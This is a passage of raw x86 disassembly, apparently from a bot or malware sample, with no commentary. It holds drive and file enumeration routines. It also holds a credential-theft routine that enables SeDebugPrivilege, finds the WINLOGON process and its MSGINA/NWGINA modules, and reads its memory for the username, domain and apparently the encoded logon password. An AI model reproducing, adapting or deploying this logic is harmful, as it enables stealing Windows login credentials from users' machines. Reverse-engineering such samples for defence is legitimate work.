		call	sub_41DCB0
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416D2C
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416CEE
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416CEE
; ---------------------------------------------------------------------------


loc_416D2C:				; CODE XREF: sub_416CC9+4Bj
		dec	esi
		mov	eax, edi


loc_416D2F:				; CODE XREF: sub_416CC9+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416D3E
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416D2F
; ---------------------------------------------------------------------------


loc_416D3E:				; CODE XREF: sub_416CC9+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416CC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_416D48	proc near		; CODE XREF: sub_416EFD+51p
					; sub_416EFD+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CBA44	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_416D8B
		dec	eax
		jz	short loc_416D85
		dec	eax
		dec	eax
		jz	short loc_416D7F
		dec	eax
		jz	short loc_416D79
		dec	eax
		jz	short loc_416D73
		dec	eax
		jz	short loc_416D6D
		mov	eax, offset word_4383B4
		retn
; ---------------------------------------------------------------------------


loc_416D6D:				; CODE XREF: sub_416D48+1Dj
		mov	eax, offset off_4383B0
		retn
; ---------------------------------------------------------------------------


loc_416D73:				; CODE XREF: sub_416D48+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_416D79:				; CODE XREF: sub_416D48+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_416D7F:				; CODE XREF: sub_416D48+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_416D85:				; CODE XREF: sub_416D48+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_416D8B:				; CODE XREF: sub_416D48+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_416D48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D91	proc near		; CODE XREF: sub_416DD9+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CB8D4
		test	eax, eax
		jz	short loc_416DC6
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax	; GetDiskFreeSpaceExA


loc_416DC6:				; CODE XREF: sub_416D91+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416D91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416DD9	proc near		; CODE XREF: sub_416EFD+17p
					; sub_41AF8F+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416D91
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		pop	ebx
		jmp	short loc_416EE9
; ---------------------------------------------------------------------------


loc_416EB7:				; CODE XREF: sub_416DD9+2Cj
					; sub_416DD9+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_416EE9:				; CODE XREF: sub_416DD9+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416DD9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416EFD	proc near		; CODE XREF: sub_416FCF+17p
					; sub_416FCF+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416DD9
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41CA50
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416F70
		push	ebx
		push	ebx
		call	sub_416D48
		pop	ecx
		push	eax
		push	offset unk_438404
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_416FA4
; ---------------------------------------------------------------------------


loc_416F70:				; CODE XREF: sub_416EFD+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_416D48
		pop	ecx
		push	eax
		push	offset unk_4383C8
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 20h


loc_416FA4:				; CODE XREF: sub_416EFD+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_415D38
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416EFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416FCF	proc near		; CODE XREF: sub_401ACD+252Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416FF0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416EFD
		add	esp, 10h
		jmp	short loc_417051
; ---------------------------------------------------------------------------


loc_416FF0:				; CODE XREF: sub_416FCF+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CB94C	; GetLogicalDriveStringsA
		lea	esi, [eax+2]
		push	esi
		call	sub_41BEB5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CB94C	; GetLogicalDriveStringsA
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_417048


loc_417014:				; CODE XREF: sub_416FCF+77j
		push	offset aA_1	; "A:\\"
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417037
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416EFD
		add	esp, 10h


loc_417037:				; CODE XREF: sub_416FCF+54j
		push	esi
		call	sub_41B9C0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_417014


loc_417048:				; CODE XREF: sub_416FCF+43j
		push	edi
		call	sub_41BA91
		pop	ecx
		pop	edi
		pop	esi


loc_417051:				; CODE XREF: sub_416FCF+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416FCF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417054	proc near		; DATA XREF: sub_401ACD+67C1o

var_49C		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= byte ptr -218h
var_115		= byte ptr -115h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0A7h
		mov	esi, eax
		lea	edi, [ebp+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_41B9C0
		xor	ebx, ebx
		cmp	[ebp+eax+var_115], 5Ch
		pop	ecx
		jnz	short loc_4170A9
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_41B9C0
		pop	ecx
		mov	[ebp+eax+var_115], bl


loc_4170A9:				; CODE XREF: sub_417054+3Fj
		lea	eax, [ebp+var_218]
		push	eax
		push	offset unk_438464
		lea	eax, [ebp+var_49C]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	short loc_4170EE
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_409869
		add	esp, 14h


loc_4170EE:				; CODE XREF: sub_417054+78j
		lea	eax, [ebp+var_114]
		push	ebx
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_29C]
		call	sub_41716F
		add	esp, 18h
		push	eax
		lea	eax, [ebp+var_49C]
		push	offset dword_438444
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_41714F
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_409869
		add	esp, 14h


loc_41714F:				; CODE XREF: sub_417054+D9j
		lea	eax, [ebp+var_49C]
		push	eax
		call	sub_415D38
		push	[ebp+var_10]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_417054	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41716F	proc near		; CODE XREF: sub_417054+B9p
					; sub_41716F+9Ep

var_54C		= byte ptr -54Ch
var_34C		= byte ptr -34Ch
var_248		= byte ptr -248h
var_144		= byte ptr -144h
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 104h
		push	[ebp+arg_10]
		lea	eax, [ebp+var_248]
		push	offset dword_4384A8
		push	esi
		push	eax
		call	sub_41C360
		mov	edi, dword_427124
		add	esp, 10h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi	; FindFirstFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		mov	ebx, offset dword_429AC8
		jz	short loc_41722C


loc_4171BB:				; CODE XREF: sub_41716F+BBj
		test	[ebp+var_144], 10h
		jz	short loc_417218
		cmp	[ebp+var_118], 2Eh
		jnz	short loc_4171DF
		cmp	[ebp+var_117], 0
		jz	short loc_417218
		cmp	[ebp+var_117], 2Eh
		jz	short loc_417218


loc_4171DF:				; CODE XREF: sub_41716F+5Cj
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_34C]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41C360
		push	[ebp+arg_14]
		lea	eax, [ebp+var_34C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41716F
		add	esp, 2Ch
		mov	[ebp+arg_14], eax


loc_417218:				; CODE XREF: sub_41716F+53j
					; sub_41716F+65j ...
		lea	eax, [ebp+var_144]
		push	eax
		push	[ebp+var_4]
		call	dword_427120	; FindNextFileA
		test	eax, eax
		jnz	short loc_4171BB


loc_41722C:				; CODE XREF: sub_41716F+4Aj
		push	[ebp+var_4]
		call	dword_427000	; FindClose
		push	[ebp+arg_C]
		lea	eax, [ebp+var_248]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi	; FindFirstFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4172B2


loc_417263:				; CODE XREF: sub_41716F+141j
		lea	eax, [ebp+var_118]
		inc	[ebp+arg_14]
		push	eax
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_10]
		push	offset dword_43848C
		push	200h
		push	eax
		call	sub_41C360
		push	1
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 28h
		lea	eax, [ebp+var_144]
		push	eax
		push	esi
		call	dword_427120	; FindNextFileA
		test	eax, eax
		jnz	short loc_417263


loc_4172B2:				; CODE XREF: sub_41716F+F2j
		push	esi
		call	dword_427000	; FindClose
		mov	eax, [ebp+arg_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41716F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4172C1	proc near		; DATA XREF: sub_401ACD+1C72o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41AE41
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_417300
		cmp	eax, 2
		jz	short loc_417300
		push	offset unk_438680
		jmp	loc_41743F
; ---------------------------------------------------------------------------


loc_417300:				; CODE XREF: sub_4172C1+2Ej
					; sub_4172C1+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41743A
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		call	dword_4270C0	; LoadLibraryA
		mov	esi, dword_4270C4
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi	; GetProcAddress
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D484C, eax
		call	esi	; GetProcAddress
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D4840, eax
		call	esi	; GetProcAddress
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D4A50, eax
		call	esi	; GetProcAddress
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D4848, eax
		call	esi	; GetProcAddress
		mov	dword_4D4844, eax
		call	sub_417493
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41740D
		mov	esi, dword_427148
		mov	edi, 400h
		mov	ebx, offset dword_4D3840
		push	edi
		push	ebx
		push	offset aUsername ; "USERNAME"
		call	esi	; GetEnvironmentVariableW
		push	edi
		mov	edi, offset dword_4D4040
		push	edi
		push	offset aUserdomain ; "USERDOMAIN"
		call	esi	; GetEnvironmentVariableW
		cmp	[ebp+var_4], 1
		push	offset dword_4D4A58
		push	[ebp+arg_0]
		jnz	short loc_4173B9
		call	sub_41761C
		jmp	short loc_4173BE
; ---------------------------------------------------------------------------


loc_4173B9:				; CODE XREF: sub_4172C1+EFj
		call	sub_4177C3


loc_4173BE:				; CODE XREF: sub_4172C1+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417406
		cmp	dword_4D4A58, 0
		jnz	short loc_4173ED
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_438548
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 18h
		jmp	short loc_417420
; ---------------------------------------------------------------------------


loc_4173ED:				; CODE XREF: sub_4172C1+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_4173FD
		call	sub_4178F9
		jmp	short loc_417402
; ---------------------------------------------------------------------------


loc_4173FD:				; CODE XREF: sub_4172C1+133j
		call	sub_417990


loc_417402:				; CODE XREF: sub_4172C1+13Aj
		pop	ecx
		push	eax
		jmp	short loc_417412
; ---------------------------------------------------------------------------


loc_417406:				; CODE XREF: sub_4172C1+101j
		push	offset unk_438510
		jmp	short loc_417412
; ---------------------------------------------------------------------------


loc_41740D:				; CODE XREF: sub_4172C1+B6j
		push	offset unk_4384E4


loc_417412:				; CODE XREF: sub_4172C1+143j
					; sub_4172C1+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_417420:				; CODE XREF: sub_4172C1+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		call	dword_427144	; FreeLibrary
		pop	ebx
		jmp	short loc_41744D
; ---------------------------------------------------------------------------


loc_41743A:				; CODE XREF: sub_4172C1+4Ej
		push	offset unk_4384B0


loc_41743F:				; CODE XREF: sub_4172C1+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41744D:				; CODE XREF: sub_4172C1+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_417474
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409869
		add	esp, 14h


loc_417474:				; CODE XREF: sub_4172C1+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_415D38
		push	[ebp+var_18]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread
		pop	edi
		pop	esi
sub_4172C1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417493	proc near		; CODE XREF: sub_4172C1+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427154
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi	; GetProcessHeap
		mov	edi, dword_427150
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D484C
		push	ebp
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	dword_42714C	; RtlFreeHeap
		push	[esp+28h+var_14]
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D484C
		test	eax, eax
		jnz	short loc_417580
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_417580
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_417580


loc_41751C:				; CODE XREF: sub_417493+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_417573
		push	0
		push	0
		call	dword_4D4840
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D4A50
		test	eax, eax
		jnz	short loc_417564
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417598


loc_417564:				; CODE XREF: sub_417493+AAj
		test	edi, edi
		jz	short loc_41756F
		push	edi
		call	dword_4D4848


loc_41756F:				; CODE XREF: sub_417493+D3j
		mov	eax, [esp+28h+var_10]


loc_417573:				; CODE XREF: sub_417493+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_41751C


loc_417580:				; CODE XREF: sub_417493+6Dj
					; sub_417493+7Aj ...
		xor	edi, edi


loc_417582:				; CODE XREF: sub_417493+17Dj
		push	ebp
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	dword_42714C	; RtlFreeHeap
		mov	eax, edi


loc_417590:				; CODE XREF: sub_417493+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_417598:				; CODE XREF: sub_417493+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_417601
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_4175AE:				; CODE XREF: sub_417493+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417615
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4175F3
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_4175F3:				; CODE XREF: sub_417493+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_4175AE


loc_417601:				; CODE XREF: sub_417493+10Fj
		test	edi, edi
		jz	short loc_41760C
		push	edi
		call	dword_4D4848


loc_41760C:				; CODE XREF: sub_417493+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_417582
; ---------------------------------------------------------------------------


loc_417615:				; CODE XREF: sub_417493+13Cj
		xor	eax, eax
		jmp	loc_417590
sub_417493	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41761C	proc near		; CODE XREF: sub_4172C1+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		call	dword_42708C	; OpenProcess
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_417645
		xor	eax, eax
		jmp	loc_4177C0
; ---------------------------------------------------------------------------


loc_417645:				; CODE XREF: sub_41761C+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		call	dword_427160	; GetSystemInfo
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427154
		push	8
		call	esi	; GetProcessHeap
		mov	edi, dword_427150
		push	eax
		call	edi	; RtlAllocateHeap
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_42715C
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx	; ReadProcessMemory
		test	eax, eax
		jnz	short loc_417695
		xor	esi, esi
		jmp	loc_4177B3
; ---------------------------------------------------------------------------


loc_417695:				; CODE XREF: sub_41761C+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	dword_427158	; VirtualQueryEx
		test	eax, eax
		jz	loc_4177A2
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4177A2
		test	[ebp+var_2B], 1
		jnz	loc_4177A2
		push	[ebp+var_34]
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	edi	; RtlAllocateHeap
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx	; ReadProcessMemory
		test	eax, eax
		jz	loc_4177A2


loc_4176F8:				; CODE XREF: sub_41761C+112j
		push	edi
		push	offset dword_4D3840
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417720
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D4040
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417730


loc_417720:				; CODE XREF: sub_41761C+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4177A2
		jmp	short loc_4176F8
; ---------------------------------------------------------------------------


loc_417730:				; CODE XREF: sub_41761C+102j
		test	edi, edi
		jz	short loc_4177A2
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		call	dword_42711C	; FileTimeToLocalFileTime
		test	eax, eax
		jz	short loc_41776B
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	dword_427118	; FileTimeToSystemTime
		test	eax, eax
		jz	short loc_41776B
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_41776B:				; CODE XREF: sub_41761C+12Bj
					; sub_41761C+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D4A64, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
